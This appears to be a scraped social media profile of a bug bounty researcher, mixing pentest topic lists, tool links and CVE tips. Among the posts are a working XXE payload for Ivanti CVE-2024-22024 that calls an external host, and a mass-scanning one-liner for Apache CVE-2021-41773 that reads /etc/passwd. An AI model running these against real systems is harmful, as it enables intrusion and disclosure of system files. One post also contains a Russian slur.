Ramazan

Researcher in signalred
hacked by r0hack

[Nitin Gavhane @NitinGavhane_]

📂 PENETRATION TESTING
┃
┣ 📂 Information Disclosure
┃ ┣ 📂 Sensitive Data Exposure
┃ ┣ 📂 Debug Information
┃ ┣ 📂 Backup Files
┃ ┗ 📂 Configuration Exposure
┃
┣ 📂 File Upload
┃ ┣ 📂 Extension Bypass
┃ ┣ 📂 MIME Validation
┃ ┣ 📂 Content-Type Manipulation
┃ ┣ 📂 File Processing
┃ ┗ 📂 Upload → RCE
┃
┣ 📂 Open Redirect
┃ ┣ 📂 URL Parameters
┃ ┣ 📂 Redirect Validation
┃ ┣ 📂 Allowlist Bypass
┃ ┗ 📂 Redirect Chains
┃
┣ 📂 File Inclusion
┃ ┣ 📂 LFI
┃ ┣ 📂 RFI
┃ ┣ 📂 Path Traversal
┃ ┣ 📂 Filter Bypass
┃ ┗ 📂 Inclusion Chains
┃
┣ 📂 XSS
┃ ┣ 📂 Reflected XSS
┃ ┣ 📂 Stored XSS
┃ ┣ 📂 DOM XSS
┃ ┣ 📂 Context Analysis
┃ ┗ 📂 Filter Bypass
┃
┣ 📂 SQL Injection
┃ ┣ 📂 Error-Based
┃ ┣ 📂 Boolean-Based
┃ ┣ 📂 Time-Based
┃ ┣ 📂 Union-Based
┃ ┗ 📂 Blind SQLi
┃
┣ 📂 Command Injection
┃ ┣ 📂 OS Command Injection
┃ ┣ 📂 Blind Command Injection
┃ ┣ 📂 Argument Injection
┃ ┗ 📂 Filter Bypass
┃
┣ 📂 CSRF
┃ ┣ 📂 Token Validation
┃ ┣ 📂 SameSite Cookies
┃ ┣ 📂 Origin Validation
┃ ┗ 📂 CSRF Chains
┃
┣ 📂 SSRF
┃ ┣ 📂 Basic SSRF
┃ ┣ 📂 Blind SSRF
┃ ┣ 📂 SSRF Bypass
┃ ┣ 📂 Redirect Chains
┃ ┗ 📂 SSRF Chains
┃
┣ 📂 CORS
┃ ┣ 📂 Origin Validation
┃ ┣ 📂 Credentials
┃ ┣ 📂 Wildcard Origins
┃ ┗ 📂 Misconfigurations
┃
┣ 📂 API Security
┃ ┣ 📂 Authentication
┃ ┣ 📂 Authorization
┃ ┣ 📂 BOLA / IDOR
┃ ┣ 📂 Mass Assignment
┃ ┗ 📂 Rate Limiting
┃
┣ 📂 GraphQL
┃ ┣ 📂 Introspection
┃ ┣ 📂 Authorization
┃ ┣ 📂 Query Complexity
┃ ┗ 📂 Information Disclosure
┃
┣ 📂 Web Cache
┃ ┣ 📂 Cache Poisoning
┃ ┣ 📂 Cache Deception
┃ ┣ 📂 Cache Key Analysis
┃ ┗ 📂 Cache Bypass
┃
┣ 📂 CVE Research
┃ ┣ 📂 Log4Shell
┃ ┣ 📂 Version Detection
┃ ┣ 📂 Vulnerability Research
┃ ┗ 📂 Patch Validation
┃
┣ 📂 Study Resources
┃ ┣ 📂 Cheat Sheets
┃ ┣ 📂 Payload References
┃ ┣ 📂 Writeups
┃ ┗ 📂 Research Notes
┃
┗ 📂 Scripts
┣ 📂 Recon
┣ 📂 Enumeration
┣ 📂 Fuzzing
┣ 📂 Automation
┗ 📂 Custom PoCs

GitHub:
https://t.co/RtriK5TN8w

RECON → DISCOVER → TEST → BYPASS → VALIDATE → CHAIN → REPORT

A useful collection for learning web security,
penetration testing, and bug bounty methodology.

#CyberSecurity #BugBounty #Pentesting #WebSecurity #InfoSec

[MAX @MAXdeg0]

THIS IS F**KING GOLD

FOUND A OPEN SOURCE BUNDLE FOR ANYONE DOING AUTHORIZED BUG BOUNTY WORK : CLAUDE BUG-HUNTER

One install gives Claude 71 skills and 15 slash commands built specifically for bug hunting and external red team work
recon, hunt, validate, report, all mapped to a real 6 phase methodology

With a 7 question validation gate before anything gets submitted.

681 DISCLOSED REPORT patterns baked in, across 24 vulnerability classes: XSS —> IDOR—> auth bugs —>API flaws —> SSRF—> logic flaws —> plus enterprise identity chains (M365/Entra, Okta, VPN appliances).

Runs on Claude Code, OpenCode, Codex CLI, and Hermes Agent —> same SKILL (.) md format across all four.

Strictly scoped to assets you own or have written authorization to test
HackerOne, Bugcrowd, Intigriti, Immunefi programs.

It explicitly excludes malware, C2 tooling, and unauthorized exploitation.

MIT licensed, actively maintained

REPO BELOW

[s1r1us @S1r1u5_]

the labs aren’t lying about model capabilities. but they’re also doing things like the hugging face attack and then turning the incident into marketing to sell more tokens, which understandably pisses people off. the same thing happened with glasswing, mythos’s capabilities were real, but the incident also became a highly successful marketing campaign.

ig the deeper problem is that you probably shouldn’t buy the solution from the same company that created the problem. it creates obvious perverse incentives behind the scenes, not saying labs are exploiting them but there is a possibility.

[Hackadvisor @hackadvisor]

Sick of wasting time on buggy bug bounty programs?
At https://t.co/6IxVsyCsAE, hunters leave anonymous reviews — honest, unfiltered & straight from the trenches.

[Tuan Anh Nguyen⚡️ 🇻🇳 @haxor31337]

@l33tdawg @HusseiN98D @ptsecurity @jkana101 @kienbigmummy @HHieupc Congrats @r0hack for MVP T-Bank 🔥

[Bipin Jitiya @win3zz]

CVE-2024-25600: Unauth. RCE vulnerability caused by PHP code injection in Bricks Builder, a WordPress site builder with over 25,000+ active installations.

Severity: Critical (CVSS 9.8)
Root cause analysis: https://t.co/E5K0sIZQn9
PoC: https://t.co/8DflZk7QIW
Mitigation: Upgrade

[H4x0r.DZ @h4x0r_dz]

CVE-2024-22024, XXE on Ivanti Connect Secure

payload encoded base64:

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://{{external-host}}/x"> %xxe;]><r></r>

send it to 127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm

#bugbountytips #cve #Ivanti

[Ramazan @r0hack]

Super tool for collecting api endpoints: https://t.co/oax98f4UDo

#tools #pentest #bugbounty

[Ramazan @r0hack]

API endpoint collection methods:
- Dynamic assembly
- In JavaScript files
- With dorks
- Enumeration of endpoints
- APK file
- Internet Archive
- ... and even less popular ways

#pentest #BugBounty

[Ramazan @r0hack]

@a_arelli_ Буду использовать тот язык, который хочу ))

[Ramazan @r0hack]

Hi guys.
Here https://t.co/IbUfEBMF0L will be a lot of my interesting notes on pentests and bagbounty. A fair amount of interesting and useful information has accumulated over the past couple of years.
#pentest #BugBounty #bugbountytips

[Ramazan @r0hack]

@a_arelli_ In English, too, there will be

[Ramazan @r0hack]

By the way, it was an IDOR in the NFT marketplace )

[Ramazan @r0hack]

Yay, I was awarded a $2,500 bounty on @Hacker0x01! https://t.co/vHznK9eE6W #TogetherWeHitHarder

But what the hell do I need them for? Just to look at the figure in my personal account? 🤣🤣

[Ramazan @r0hack]

@patientnumv @Jarek737052 @WSJ Russia still won without her 🤣🤣🤣🤣🤣🤣🤣

[Ramazan @r0hack]

@WSJ Пидаразы. Именно перед выступлением начали морально давить этим…

[Nagli @galnagli]

The new @Grafana CVE-2022-21703, is actually a 1 Click Authentication Bypass and full read SSRF via CSRF, all you need is XSS/TKO on Same site host and the CVSS bumps to 9.3 - Critical.

All @Grafana versions are VULNERABLE 🙃

Read more at https://t.co/abqEX9oidS

#BugBounty

[Dr. Rohit Gautam @aslicyberguy]

CVE-2021-41773 POC 🔥👇

✅ One Liner :

cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done

[Pethuraj M @Pethuraj]

TProxer 🪄 - A Burp Suite extension to automate the process of finding reverse proxy path-based SSRF.
» https://t.co/POCSsscfx4

#cybersecurity #infosec #bugbounty #bugbountytips

[N0t0d4y @0xJin]

Fingerprinting with Shodan and Nuclei engine:
shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /home/ofjaaah/PENTESTER/nuclei-templates/
ref @ofjaaah
#bugbounty #bugbountytips